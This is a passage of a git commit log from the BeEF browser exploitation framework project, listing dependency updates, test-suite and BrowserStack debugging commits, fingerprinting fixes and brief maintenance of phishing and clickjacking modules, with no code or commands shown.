c96b5e8968 Update ISSUE_TEMPLATE.md
bumped version
2021-09-12 17:50:24 +10:00
dependabot[bot]
27e58a714d Update rubocop requirement from ~> 0.92.0 to ~> 1.20.0 (#2154)
Updates the requirements on [rubocop](https://github.com/rubocop/rubocop) to permit the latest version.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v0.92.0...v1.20.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-09-04 20:07:06 +10:00
wheatley
16e14c6f2e Release 0.5.1.0 (#2156)
* updated version to 5.0.1.0 in package.json

* updated version to 5.0.1.0 in VERSION

* updated version to 5.0.1.0 in config.yml

* removed Active Record section

* cleanup bundle related folders and added to .gitignore

* bumped tag url in ISSUETEMPLATE

* updating version to 0.5.1.0

* readding .bundle/config as we do not want users to automatically install dev/test gems

* fixed spelling mistake of .bundle
2021-09-04 14:56:47 +10:00
wheatley
9f7dcdf250 Testing: Fixed error running social_engerring_spec 2021-08-24 19:15:38 +10:00
jcrew99
15af383355 Merge pull request #2134 from beefproject/otr-activerecord-update
OTR-ActiveRecord update: added to manually call the database connection
2021-07-20 01:49:58 +10:00
jcrew99
b4dae0f58b Updating Gemfile lock as suggested 2021-07-20 01:43:34 +10:00
jcrew99
588e32966a changed from 2.0 to 1.4.2 2021-07-18 13:36:28 +10:00
jcrew99
6d882b5016 removed the lock on the activerecord gem 2021-07-18 13:12:13 +10:00
jcrew99
d959956271 added a check for the version added 2021-07-18 13:05:15 +10:00
bcoles
702dfbd878 Merge pull request #2127 from wheatley/defect/2010_could_not_find_table_webcloners
Rename the WebCloner model class to align with ActiveRecord syntax
2021-07-13 21:49:13 +10:00
whealtey
681511358e moveid the clean up the related method instead of after all tests 2021-07-11 09:14:37 +00:00
whealtey
739b168602 specified the generated web pages for google to be removed 2021-07-11 09:02:56 +00:00
whealtey
0f7567cc4b left byebug in file 2021-07-11 08:37:35 +00:00
whealtey
5d0a499a12 renamed the WebCloner model class to align with ActiveRecord syntax
changed WebCloner name changes in web_cloner.rb
created two tests to support changeswq
2021-07-11 08:18:14 +00:00
bcoles
b58978870d Merge pull request #2123 from 1124219777/master
Fix Firefox detection

Since Firefox 89 the `navigator.mozGetUserMedia()` function is only defined on HTTPS websites.
2021-07-03 20:36:58 +10:00
郭瑞
4bede1bc01 fix FireFix 89.02 mozGetUserMedia == undefined
fix
2021-07-03 18:08:18 +08:00
bcoles
663d8e7489 Merge pull request #2090 from beefproject/dependabot/add-v2-config-file
Upgrade to GitHub-native Dependabot
2021-06-26 01:34:56 +10:00
bcoles
4140300906 Merge pull request #2099 from bcoles/adminui-bookmarklet
AdminUI: Use correct hook file path for bookmarlet hook URL
2021-05-09 00:06:56 +10:00
Brendan Coles
5a65f1610e AdminUI: Use correct hook file path for bookmarlet hook URL 2021-05-08 14:06:25 +00:00
bcoles
fc6ae645d9 Merge pull request #2094 from bcoles/bundle-otr-activerecord
bundle: Lock otr-activerecord to version '~> 1.4.1'
2021-05-08 19:57:00 +10:00
Brendan Coles
42d9e431b7 bundle: Lock otr-activerecord to version '~> 1.4.1' 2021-05-08 09:56:20 +00:00
dependabot-preview[bot]
6638e2e234 Upgrade to GitHub-native Dependabot 2021-04-29 20:59:37 +00:00
bcoles
6adad0911b ISSUE_TEMPLATE: Fix Typo 2021-04-25 10:15:48 +10:00
plan-do-break-fix
f754ee6beb fix(docs): corrects typo in project's ISSUE_TEMPLATE 2021-04-24 18:02:18 -05:00
bcoles
c23a93a84e BeEF Bind payloads: Updates Kali install instructions 2021-04-19 04:23:57 +10:00
Chessmaster
ef8819d78c Update instructions.txt for recent kali linux 2021-04-18 20:16:30 +02:00
bcoles
8acc31f784 Install: Add support for blackPantherOS 2021-04-16 02:02:24 +10:00
blackPanther OS
b8a9eecaf4 Extend distro suppport
Added blackPanther OS specific install strings and requires for use
2021-04-15 10:43:04 +02:00
bcoles
90798571d5 Merge pull request #2056 from P-arag/master
Gmail Phishing: Change redirect URL to https://accounts.google.com/

Update post-login redirection URL from https://accounts.google.com/ServiceLogin to
https://accounts.google.com/
2021-02-11 17:55:55 +11:00
Parag Jyoti Pal
2d19294540 Fixed Gmail Phishing by updating https://accounts.google.com/ServiceLogin to https://accounts.google.com/ 2021-02-11 12:10:49 +05:30
bcoles
845b2db255 Merge pull request #2051 from bcoles/rubocop-extensions-metasploit
rubocop -a extensions/metasploit
2021-01-26 19:22:10 +11:00
Brendan Coles
a26653719c rubocop -a extensions/metasploit 2021-01-26 08:21:36 +00:00
bcoles
6493df8502 Merge pull request #2049 from bcoles/ruby-version
Bump Ruby version from 2.5.3 to 2.7.2
2021-01-26 19:20:23 +11:00
bcoles
b1f9bae470 Merge pull request #2050 from bcoles/rubocop
Rubocop: Bump Ruby version to 2.6 and define new cops
2021-01-26 18:49:21 +11:00
Brendan Coles
b4d549fe48 Rubocop: Bump Ruby version to 2.6 and define new cops 2021-01-26 07:48:13 +00:00
Brendan Coles
f1203ebd68 Bump Ruby version from 2.5.3 to 2.7.2 2021-01-26 07:44:19 +00:00
bcoles
5df9a7f17e Merge pull request #2048 from bcoles/gemfile-nokogiri
Gemfile: Bump nokogiri version from >= 1.10.8 to >= 1.11.1
2021-01-26 18:24:30 +11:00
Brendan Coles
e447f1ba2d Gemfile: Bump nokogiri version from >= 1.10.8 to >= 1.11.1 2021-01-26 07:23:50 +00:00
bcoles
25172353d0 Merge pull request #1971 from justinsteven/pass_query_string_through_proxy
Include URI query string in proxied requests
2021-01-26 18:11:36 +11:00
bcoles
f8e41a939f Merge pull request #2046 from raskoln1kov/patch-1
Update clickjack_attack.html: Fix malformed CSS syntax
2021-01-26 17:49:22 +11:00
raskoln1kov
f27eda4021 Update clickjack_attack.html 2021-01-18 16:39:35 +01:00
jcrew99
8ee08bdbda Merge pull request #2042 from beefproject/copyright_update
updated all of the copyright information
2021-01-11 04:56:00 +10:00
J
4ec6ecee27 updated all of the copyright information 2021-01-11 04:48:56 +10:00
jcrew99
49478370d8 Merge pull request #1973 from beefproject/excluded_hooking_subnet
Excluded hooking subnet
2020-10-25 20:20:30 +10:00
bcoles
f1f5198ba1 Merge pull request #1993 from beefproject/dependabot/bundler/rubocop-tw-0.92.0
Update rubocop requirement from ~> 0.88.0 to ~> 0.92.0
2020-09-29 08:10:00 +10:00
dependabot-preview[bot]
dd0c8aa850 Update rubocop requirement from ~> 0.88.0 to ~> 0.92.0
Updates the requirements on [rubocop](https://github.com/rubocop-hq/rubocop) to permit the latest version.
- [Release notes](https://github.com/rubocop-hq/rubocop/releases)
- [Changelog](https://github.com/rubocop-hq/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop-hq/rubocop/compare/v0.88.0...v0.92.0)

Signed-off-by: dependabot-preview[bot] <support@dependabot.com>
2020-09-28 06:09:46 +00:00
jcrew99
9ddd694842 Merge pull request #1986 from beefproject/rubocop_mergev0.0.1
Rubocop mergev0.0.1
2020-09-14 18:54:26 +10:00
jcrew99
a7c4b3215a Merge pull request #1984 from beefproject/internal_error_when_creating_XSSrays
First fix for the XSSRays
2020-09-14 18:54:05 +10:00
Josh
360d6bb345 Merge branch 'internal_error_when_creating_XSSrays' of https://github.com/beefproject/beef into internal_error_when_creating_XSSrays
lets update
2020-09-14 00:55:26 -07:00
Jish
dd6c8283cd updated rubocop changes 2020-08-03 08:23:05 -04:00
Jish
a5603eafde added to gemfile 2020-08-03 07:24:30 -04:00
Jish
38b0e44115 added a .first section 2020-08-03 00:41:19 -04:00
jcrew99
8876f69ba6 Merge pull request #1975 from klezVirus/master
Fix country_code is null
2020-08-03 13:33:32 +10:00
bcoles
36bd907f99 Merge pull request #1982 from sopsmattw/patch-1
iFrame Sniffer module: Update config.yaml reference URL
2020-08-01 03:40:19 +10:00
Matt Wagenknecht
72870deea6 Update config.yaml
updated URL from contextis.co.uk to contextis.com.
2020-07-31 11:31:50 -06:00
jcrew99
fc9b11e658 Merge pull request #1977 from beefproject/updated_contributing
Updated contributing
2020-07-27 23:06:58 +10:00
Josh
fbafdae50a fixed and responded to comments 2020-07-26 22:16:00 -07:00
Josh
b9c5ee73fb Merge branch 'updated_contributing' of https://github.com/beefproject/beef 2020-07-26 21:13:11 -07:00
jcrew99
1aa8a6aec6 Merge branch 'master' into updated_contributing 2020-07-25 23:29:30 +10:00
Joshua
381cbec8a9 updated contributing to further match how to merge 2020-07-25 23:19:45 +10:00
josh
9a8108e0f5 updated contribution 2020-07-25 22:21:38 +10:00
d3adc0de
3a0178bedc Fix country_code is null 2020-07-23 22:13:20 +01:00
josh
064fb5fdb2 Merge branch 'updated_contributing' of https://github.com/beefproject/beef into updated_contributing
matching
2020-07-24 01:57:18 +10:00
Jack Walker
09bcb5b704 Updated variable naming for clarity of functional use 2020-07-21 12:03:36 +10:00
Jack Walker
dbd20a742e Added icamys changes, inverting the logic for the found variable. 2020-07-21 11:22:47 +10:00
Jack Walker
0c07a5f853 Merge pull request #1962 from beefproject/fix_broken_network_extension
Fix #1852 - Re-patch of reverted Network Map/Hosts/Services fix
2020-07-21 11:02:53 +10:00
Jack Walker
967bcf4069 Merge pull request #1961 from beefproject/bcoles-patch-1
Update dependencies
2020-07-21 11:01:24 +10:00
Justin Steven
75bd2f8fb3 Include URI query string in proxied requests 2020-07-16 15:50:41 +10:00
Josh
9a7a36a3ce Merge branch 'updated_contributing' of https://github.com/beefproject/beef 2020-07-15 21:32:36 -07:00
bcoles
f3313fde8a core/main/client/browser.js: Fix array unique function (#1966) 2020-07-10 14:29:13 +10:00
jcrew99
7fa269ff81 Merge pull request #1957 from beefproject/are_new_execution_error
ARE New Zombie Execution Error
2020-07-09 10:26:59 +10:00
jcrew99
b0c0e6e2ba Merge pull request #1956 from beefproject/pretty_theft_empty_credentials_error
Pretty Theft Missing Credentials JS Error
2020-07-09 10:24:48 +10:00
bcoles
b8528e5df5 Update dependencies 2020-07-08 20:35:06 +10:00
Jack Walker
7169d84b88 Merge pull request #1934 from beefproject/update_issue_template
Update Issue/PR templates
2020-07-08 16:17:50 +10:00
jcrew99
36263fa3a5 Merge pull request #1958 from beefproject/replace_array_prototype_unique
Replaced Array.prototype.unique with a cleaner jQuery equivalent
2020-07-07 22:13:24 +10:00
Jack Walker
dd3b635a48 Re-commiting h4sh5's reverted changes. 2020-07-07 14:47:05 +10:00
Jack Walker
edda0188d5 Removed typo (trailing a) missed in last commit 2020-07-06 16:46:58 +10:00
Jack Walker
4fc300ff87 Replaced Array.prototype.unique with a cleaner jQuery equivalent 2020-07-06 16:24:09 +10:00
Jack Walker
8e0a1b6b87 Removed rule left in ARE enabled directory 2020-07-06 14:40:01 +10:00
Jack Walker
9696b05aba Fixed error causing some ARE rules to not run. 2020-07-06 14:39:04 +10:00
Jack Walker
a8606697e0 Reset creds 2020-07-06 12:44:43 +10:00
Jack Walker
a92d4d910c Fixed getElementById method being called on incorrect object causing looping failure. 2020-07-06 12:44:19 +10:00
Jack Walker
c8dc77bea8 Removed some redundant text at the bottom of the issue template discussing debugging. 2020-07-06 12:02:28 +10:00
Jack Walker
09cc1ee50d Forgot to save -.- Re-commit of last commit. 2020-07-06 11:53:35 +10:00
Jack Walker
46ef842bcf Added additional steps to retrieve debugging output as per BColes advice 2020-07-06 11:51:46 +10:00
jcrew99
9458bd8fc6 Merge pull request #1940 from beefproject/issue-1911_ruby_version_check
sudo for gem install, ruby package manager check
2020-07-05 18:19:53 +10:00
Joshua
3b82ba16dd updated contributing to further match how to merge 2020-07-02 13:33:18 +10:00
isaac powell
bf1be0fc16 sudo for gem install, ruby package manager check 2020-06-08 21:58:49 -04:00
Jack Walker
9d3206b226 Merge pull request #1933 from beefproject/dependabot/npm_and_yarn/jsdoc-to-markdown-6.0.1
Bump jsdoc-to-markdown from 5.0.3 to 6.0.1
2020-06-04 08:57:01 +10:00
Jack Walker
c86bde43d6 Updated PR template 2020-06-01 21:23:52 +10:00
Jack Walker
58e690d304 Updated issue template 2020-06-01 21:04:35 +10:00
Jack Walker
bc77749236 Removed leftover local.log file from last PR. Shouldn't appear again (in .gitignore). 2020-06-01 20:43:43 +10:00
Jack Walker
0857a95a7e Updated README to align with jsdoc version bump compatibility requirements. 2020-06-01 20:40:06 +10:00
dependabot-preview[bot]
a2c354bb3d Bump jsdoc-to-markdown from 5.0.3 to 6.0.1
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 5.0.3 to 6.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v5.0.3...v6.0.1)

Signed-off-by: dependabot-preview[bot] <support@dependabot.com>
2020-06-01 07:35:47 +00:00
Jack Walker
0c768ec54b Merge pull request #1920 from beefproject/browserstack
BrowserStack Integration
2020-06-01 09:25:31 +10:00
Jack Walker
753bc36218 Added BrowserStacks log to .gitignore, and re-enabled Wade's email notifications. 2020-05-29 20:31:42 +10:00
Jack Walker
a5e865f75f Removed conditional preventing valid test failures. 2020-05-29 12:09:50 +10:00
Jack Walker
ef5ecf3a5b Parsing browser details blob. 2020-05-28 04:05:45 +10:00
Jack Walker
796b3ada20 debugging 2020-05-28 03:56:34 +10:00
Jack Walker
7c7c56152d Small adjustment to hopefully fix the incorrect data being pulled from the hooked browser info. 2020-05-28 03:41:19 +10:00
Jack Walker
a8115f1635 Debugging 2020-05-28 03:31:25 +10:00
Jack Walker
00f20fd0f0 Potential fix for erroring browser details handler. 2020-05-28 03:24:05 +10:00
Jack Walker
3c97f0302e debugging 2020-05-28 03:15:10 +10:00
Jack Walker
7ae51d2593 Additional debugging 2020-05-28 03:01:03 +10:00
Jack Walker
5d82ddbe74 Added debugging to browser details handler testing. 2020-05-28 02:50:02 +10:00
Jack Walker
dc838ae77c Changed method of retrieving browser details. Hopeful fix. 2020-05-28 02:33:17 +10:00
Jack Walker
4a3deb5b4b Checking if another auth method helps solve browser details issue. 2020-05-28 02:04:23 +10:00
Jack Walker
f33dc7aec0 Forced session identification to be performed client side. Server-side response too flakey atm. Cleaned up code. 2020-05-27 20:07:07 +10:00
Jack Walker
f7e46c5994 Forced session identification to be performed client side. Server-side response too flakey atm. Cleaned up code. 2020-05-27 20:02:05 +10:00
Jack Walker
053c98cc60 Added the stack trace to exception handling for easier debugging. 2020-05-27 19:58:43 +10:00
Jack Walker
fa406ed071 Tightened up some of the test cases. 2020-05-27 19:03:13 +10:00
Jack Walker
e1430f5e43 Tightened up some of the test cases. 2020-05-27 19:01:54 +10:00
Jack Walker
af6db74058 Final exception fix. This should be the last change needed.. said every dev ever. 2020-05-27 18:51:27 +10:00
Jack Walker
dbb6cb1332 Missing key on hook variable assignment 2020-05-27 18:41:23 +10:00
Jack Walker
18e76512de Added some additional session handling code in the server setup. 2020-05-27 17:41:20 +10:00
Jack Walker
e94ac0169f Fixed incorrect variable referencing 2020-05-27 17:17:41 +10:00
Jack Walker
93df6694b8 Changed error handling to account for any false fails. Should now only fail if tests truly does not meet it's intended requirements. 2020-05-27 17:06:09 +10:00
Jack Walker
bf0e20991d Changed error handling to account for any false fails. Should now only fail if tests truly does not meet it's intended requirements. 2020-05-27 17:05:42 +10:00
jcrew99
fe2dd0ac01 Merge pull request #1929 from beefproject/bcoles-patch-1
Update README.md
2020-05-25 11:07:54 +10:00
bcoles
3a713ffd76 Update README.md 2020-05-21 06:10:23 +10:00
Jack Walker
69998ee176 Missing wait definition specifically in websocket_hooked_browser_spec.rb 2020-05-18 17:03:58 +10:00
Jack Walker
d43e0bafb4 Missing closing paren from last commit. 2020-05-18 16:11:47 +10:00
Jack Walker
443e8df251 Added error handling for initial failed connection/timeout to BrowserStack 2020-05-18 14:57:26 +10:00
Jack Walker
d51c6ae93e Added error handling for initial failed connection/timeout to BrowserStack 2020-05-18 14:52:11 +10:00
Jack Walker
a82e5209be Flipped localhost/127.0.0.1 in ATTACK/VICTIM_DOMAIN test constants. Supposed fix for testing issue. 2020-05-18 14:42:33 +10:00
Jack Walker
a85f0d78d0 Reversed logic gate for incorrectly handled exception. 2020-05-15 13:09:09 +10:00
Jack Walker
0375acd7f8 Fixed BrowserStack timeout error handling. 2020-05-15 11:41:13 +10:00
Jack Walker
45f6595bda Fixed BrowserStack timeout error handling. 2020-05-15 11:26:30 +10:00
Jack Walker
0c429a8d43 Forced latest Selenium version in El Capitan + Catalina Safari tests. Noticed error using older versions. 2020-05-15 10:52:30 +10:00
Jack Walker
31a19692f8 Moved TIMEOUT error handling to teardown. 2020-05-15 09:03:26 +10:00
Jess Williams
81cd4e7533 Update CONTRIBUTING.md 2020-05-12 20:07:53 +10:00
Jack Walker
8b8e19f216 Added more descriptive exception CLI output for BrowserStack tests. 2020-05-12 17:11:37 +10:00
Jack Walker
878e235e0b Broadened timeout exception handling. 2020-05-12 09:52:12 +10:00
Jack Walker
92f3bdba2b Added additionally error handling to BrowserStack test cases 2020-05-12 08:59:28 +10:00
Jack Walker
e9b31e4d6c Added error handling in the event hooked browser information also cannot be found during the test itself, rather than just in setup. 2020-05-08 15:20:46 +10:00
Jack Walker
9849bab134 Added error handling in the event hooked browser information also cannot be found during the test itself, rather than just in setup. 2020-05-08 15:01:28 +10:00
Jack Walker
0f14e4d3b7 Generated secure BrowserStack user + access key for beefproject/beef repo. Cleaned up some code. 2020-05-08 10:28:49 +10:00
Jack Walker
e449537ad8 Merged Josh's fix for the websocket hook test. 2020-05-06 17:29:16 +10:00
Jack Walker
8488bc3866 Removed explicit Selenium driver versions. Causing multiple testing errors. 2020-05-06 13:15:02 +10:00
Jack Walker
6480127929 Explicitly added Selenium driver version 2020-05-06 12:54:55 +10:00
Jack Walker
ece8151ece Re-enabling full test suite. 2020-04-30 15:16:52 +10:00
Jack Walker
3e6b75882e Added error handling to try/catch block. 2020-04-30 12:07:10 +10:00
Jack Walker
66868e748d Added error handling to try/catch block. 2020-04-30 11:16:07 +10:00
Jack Walker
8e1edf5cea Added error handling to try/catch block. 2020-04-30 11:02:22 +10:00
Jack Walker
5555d32367 Added error handling to try/catch block. 2020-04-30 10:46:29 +10:00
Jack Walker
5f8bf6b14a Added error handling to try/catch block. 2020-04-30 10:38:50 +10:00
Jack Walker
3f47d2f838 Added additional logic to handle inconsistencies in test results 2020-04-30 10:00:42 +10:00
Jack Walker
8ff669c9fc Added additional logic to handle inconsistencies in test results 2020-04-30 09:50:13 +10:00
Jack Walker
b397c2f5d5 Added additional logic to handle inconsistencies in test results 2020-04-30 09:44:22 +10:00
Jack Walker
dc80537693 Added additional logic to handle inconsistencies in test results 2020-04-30 09:42:55 +10:00
Jack Walker
334cbf895f Added more handling to allow browser room to be hooked comfortably 2020-04-29 16:06:12 +10:00
Jack Walker
bb2879afcd Added more handling to allow browser room to be hooked comfortably 2020-04-29 16:04:16 +10:00
jcrew99
887f550d90 Update browser_details_handler_spec.rb 2020-04-29 15:46:31 +10:00
jcrew99
f4370bcf6f Update browser_details_handler_spec.rb 2020-04-29 15:45:38 +10:00
Jack Walker
4a7f338527 Added more handling to allow browser room to be hooked comfortably 2020-04-29 15:17:23 +10:00
Jack Walker
dd2fad3d14 Added more handling to allow browser room to hook comfortably 2020-04-29 14:47:00 +10:00
Jack Walker
43dd0a2562 Reverted back to taking token directly, auth was causing issues.: 2020-04-29 14:06:05 +10:00
Jack Walker
192c666fc8 Reverted to previous method of auth rather than just pulling API token directly when generated by BeEF. 2020-04-29 13:56:46 +10:00
Jack Walker
bf0f22a1fe Handling for last commit's issue successful. Testing against full suite. 2020-04-29 13:38:19 +10:00
Jack Walker
59c34d5697 Adding some handling for potential issue in BeEF recognising hooks 2020-04-29 13:26:20 +10:00
Jack Walker
7decd7a53d Adding some handling for potential issue in BeEF recognising hooks 2020-04-29 13:20:15 +10:00
Jack Walker
423ae6bf41 Testing new client side wait to increase hook consistency in test. 2020-04-29 13:09:29 +10:00
Jack Walker
70a9db28be Testing new client side wait to increase hook consistency in test. 2020-04-29 13:05:25 +10:00
Jack Walker
daef8b0a22 Testing new client side wait to increase hook consistency in test. 2020-04-29 12:58:26 +10:00
Jack Walker
ca1df10953 Testing new client side wait to increase hook consistency in test. 2020-04-29 12:50:12 +10:00
Jack Walker
0b4428951c Testing new client side wait to increase hook consistency in test. 2020-04-29 11:45:19 +10:00
Jack Walker
822bd61426 Testing new client side wait to increase hook consistency in test. 2020-04-29 11:14:28 +10:00
Jack Walker
4726647d2f Testing new client side wait to increase hook consistency in test. 2020-04-29 11:08:28 +10:00
Jack Walker
e9a012c04b Testing new client side wait to increase hook consistency in test. 2020-04-29 11:02:49 +10:00
Jack Walker
bf085bd562 Testing new client side wait to increase hook consistency in test. 2020-04-29 10:49:03 +10:00
Jack Walker
9a4ad1ebb9 Testing new client side wait to increase hook consistency in test. 2020-04-28 17:15:18 +10:00
Jack Walker
ce29f9dec8 Testing new client side wait to increase hook consistency in test. 2020-04-28 17:08:23 +10:00
Jack Walker
6b1290b26e Testing new client side wait to increase hook consistency in test. 2020-04-28 17:03:45 +10:00
Jack Walker
d0c0763815 Testing new client side wait to increase hook consistency in test. 2020-04-28 16:57:44 +10:00
Jack Walker
f0ad6795b2 Testing new client side wait to increase hook consistency in test. 2020-04-28 16:31:44 +10:00
Josh
944e4e1372 removed a debugging peice 2020-04-27 23:00:59 -07:00
Jack Walker
b5c7cd39b5 Testing new client side wait to increase hook consistency in test. 2020-04-28 15:52:51 +10:00
Josh
afdbe70e56 fixed left-over debugging 2020-04-27 22:51:50 -07:00
Josh
2ffbe6699d updated travis for the whole stack 2020-04-27 22:47:20 -07:00
Jack Walker
ea461c32d5 Testing new client side wait to increase hook consistency in test. 2020-04-28 15:46:22 +10:00
Josh
00ee6df79e should work 2020-04-27 22:42:41 -07:00
Jack Walker
44aadbc6d9 Testing new client side wait to increase hook consistency in test. 2020-04-28 15:36:19 +10:00
Josh
3a46868386 this should break 2020-04-27 22:29:06 -07:00
Josh
993b288c47 updated websocket 2020-04-27 22:18:34 -07:00
Jack Walker
ac4412e1cb Testing new client side wait to increase hook consistency in test. 2020-04-28 14:56:58 +10:00
Josh
cbae450b10 checking to see if it passes with websockets diabl 2020-04-27 21:56:43 -07:00
Josh
696e6b7633 update test reference 2020-04-27 21:36:40 -07:00
Josh
1ec3546532 updated changes 2020-04-27 21:23:29 -07:00
Josh
23b53d3276 see if there is output? 2020-04-27 21:11:44 -07:00
Josh
25e139d379 browser details 2020-04-27 21:04:09 -07:00
Josh
1386e3e1c3 change debug method 2020-04-27 20:51:29 -07:00
Josh
630270b6c3 updated debug 2020-04-27 20:43:08 -07:00
Jack Walker
d3db1d5407 Small bump up to hook time to get more consistent test results. 2020-04-28 12:40:59 +10:00
Josh
0d196aa1ea updated debugging information 2020-04-27 18:52:13 -07:00
Josh
ef7663904a moved more to the before :all 2020-04-27 18:40:43 -07:00
Josh
fbe3d3555e websocket stop killing @driver 2020-04-27 18:23:31 -07:00
Josh
f17e631dd5 removed the delete_all 2020-04-27 18:07:08 -07:00
Josh
3a9d94fa85 updated debugging 2020-04-27 17:59:34 -07:00
Josh
0147ab4251 updated websocket 2020-04-27 17:58:04 -07:00
Jack Walker
b0f6f02cb6 Small bump up to hook time to get more consistent test results. 2020-04-28 08:59:39 +10:00
Josh
df617fde36 updated webbrowser 2020-04-27 00:04:40 -07:00
Josh
7fcc325482 added token which was mistakenly removed 2020-04-26 23:59:20 -07:00
Josh
49459fd9bc websocket hooked browser spec 2020-04-26 23:56:04 -07:00
Jack Walker
1784347dff Re-enabling full BrowserStack compat. checking. 2020-04-27 16:50:58 +10:00
Josh
0e1efd0f5d bugfix v0.0.1? 2020-04-26 23:47:48 -07:00
Josh
febe80d046 bugfix? (badly formatted) 2020-04-26 23:40:51 -07:00
Jack Walker
b62e4c0b3a Bumping version of failing configs. 2020-04-27 16:35:06 +10:00
Josh
3318b1e059 update api token 2020-04-26 23:31:59 -07:00
Josh
d257109a9d final check for the delete_all 2020-04-26 23:11:57 -07:00
Josh
72ebcc0bbd updated for testing 2020-04-26 22:54:11 -07:00
Josh
1f8a66a3a0 websocket 2020-04-26 22:37:19 -07:00
Josh
3040576664 updated test 2020-04-26 22:26:03 -07:00
Josh
c059799bf8 updated .travis.yml 2020-04-26 22:21:09 -07:00
Josh
f0de378f4b removed fast_finish to confirm thats the issue 2020-04-26 22:09:06 -07:00
Josh
c230cd086b debugging the websocket_hooked_browser_spec 2020-04-26 21:32:03 -07:00
Josh
d6ee3788eb fast_finish 2020-04-26 21:20:17 -07:00
Josh
27af3e90b6 fixed travis spacing erros 2020-04-26 21:06:31 -07:00
Josh
5ac339d671 update 2020-04-26 21:04:08 -07:00
Josh
383bfb9e5b checking websocket_hooked_brrowser 2020-04-26 20:35:13 -07:00
Jack Walker
5ed92934ed Merge branch 'master' of github.com:beefproject/beef into browserstack 2020-04-27 13:29:34 +10:00
Jack Walker
4fb1a32ec1 Fixed bug in IE10 detection. Missing bang on git add .window.XDomainRequest 2020-04-27 13:25:07 +10:00
Jack Walker
bd743106f2 Re-enabling full BrowserStack test suite. Test run before final merge. 2020-04-27 11:30:16 +10:00
Jack Walker
6edc5ab846 Bumped min XP FF ver. 2020-04-27 11:19:45 +10:00
Jack Walker
b81f16b28d Bumped min XP FF ver. 2020-04-27 11:13:21 +10:00
Jack Walker
a0d74e9bc7 Bumped min XP FF ver. 2020-04-27 11:06:24 +10:00
Jack Walker
ba83d05681 Bumped min XP FF ver. 2020-04-27 10:46:15 +10:00
Jack Walker
11bb90c2aa Bumped min XP FF ver. 2020-04-27 10:45:31 +10:00
Jack Walker
d643388710 Additional Edge fingerprinting fixes. Bumped min XP FF ver. 2020-04-27 10:39:30 +10:00
Josh
4daff898d1 updated travis 2020-04-26 17:14:28 -07:00
Jack Walker
847cba488b Additional Edge fingerprinting fixes. Bumped min XP FF ver. 2020-04-27 10:08:25 +10:00
Josh
e2c1956ec2 updated a catupdated travis file 2020-04-26 17:04:44 -07:00
Jack Walker
7d709c7973 Additional Edge fingerprinting fixes. Bumped min XP FF ver. 2020-04-27 09:58:59 +10:00
jcrew99
b048352d81 Merge pull request #2 from jackdwalker/browserstack
Browserstack
2020-04-27 09:54:25 +10:00
Jack Walker
d44b6e6729 Testing the 3 failing browsers 2020-04-27 09:23:26 +10:00
Jack Walker
4198363923 Updated Edge fingerprinting, was incorrectly being identified as Chrome in some cases. 2020-04-27 08:41:43 +10:00
Jack Walker
8f1f2d32b1 Updated Edge fingerprinting, was incorrectly being identified as Chrome in some cases. 2020-04-24 18:10:51 +10:00
Jack Walker
0086c38933 Updated Edge fingerprinting, was incorrectly being identified as Chrome in some cases. 2020-04-24 18:08:26 +10:00
Josh
9da40565d9 updated travis 2020-04-23 22:32:38 -07:00
Josh
60c307bc4e updated travis 2020-04-23 22:21:00 -07:00
Josh
41459e3c3e updated travis 2020-04-23 22:10:52 -07:00
Josh
5e51c9ffee update yaml 2020-04-23 21:56:35 -07:00
Jack Walker
bf2458392c Fixed issue causing misidentification of debug modules. 2020-04-24 14:50:00 +10:00
Jack Walker
17ae1c9894 Removed unnecessary line in build matrix causing duplciate 2020-04-24 14:23:41 +10:00
Josh
e9da991a66 updated travis 2020-04-23 21:10:34 -07:00
Jack Walker
31cd48319f Fixed issue causing misidentification of debug modules. 2020-04-24 14:10:23 +10:00
Jack Walker
c5f9cb9e5f Bumped XP min FF version compatibility to 8. 2020-04-24 13:39:55 +10:00
Josh
2f70b7c025 updated key 2020-04-23 20:21:05 -07:00
Jack Walker
66f1c25180 Bumped lowest version of Firefox compability to 7. 2020-04-24 13:11:22 +10:00
Josh
6e3ac8aff5 updated travis 2020-04-23 20:09:15 -07:00
Jack Walker
9903c02188 Bumped lowest version of Firefox compability to 7. 2020-04-24 12:56:37 +10:00
Jack Walker
b7b78b84c8 Bumped lowest version of Firefox compability to 7. 2020-04-24 12:56:26 +10:00
Jack Walker
d34ff17ffa Potential fix for erroring compound matcher. 2020-04-24 12:16:21 +10:00
Jack Walker
b15a8bc3d7 .or for compound expectations 2020-04-24 12:00:44 +10:00
Jack Walker
5658009f91 eql -> eq 2020-04-24 11:51:28 +10:00
Jack Walker
9f5b3c540d Re-running failing tests. 2020-04-24 11:32:10 +10:00
jcrew99
1db08ad9f6 Merge pull request #1874 from bcoles/autocomplete_theft
Replace autocomplete_theft with get_autocomplete_creds
2020-04-24 10:06:52 +10:00
jcrew99
165fc483e5 Merge pull request #1899 from beefproject/dependabot/npm_and_yarn/jsdoc-3.6.4
Bump jsdoc from 3.6.3 to 3.6.4
2020-04-24 08:56:28 +10:00
Jack Walker
2317714f0c Run tests against Browserstack w/ full OS/Browser compatability matrix. 2020-04-23 14:43:14 +10:00
Jack Walker
6fb1618a47 Re-build w/ new debugging info 2020-04-23 14:25:50 +10:00
Jack Walker
434a13ce80 Re-build w/ new debugging info 2020-04-23 14:19:35 +10:00
Jack Walker
d61b38edcb Is it only that API call failiing? 2020-04-23 14:10:46 +10:00
Jack Walker
8fd71d66e0 Running an API call prior to grabbing session - possibly keep-alive polling bug experienced in other areas is present here. 2020-04-23 13:51:46 +10:00
Jack Walker
a279c1699a Code intended to be deleted still present. Removed to check if issue was caused by this code. 2020-04-23 13:43:41 +10:00
Jack Walker
6ff10cb5dd Code intended to be deleted still present. Removed to check if issue was caused by this code. 2020-04-23 13:43:19 +10:00
Jack Walker
0b30172224 Added long sleep to definitively exclude this as a possibly for the error. 2020-04-23 13:37:58 +10:00
Jack Walker
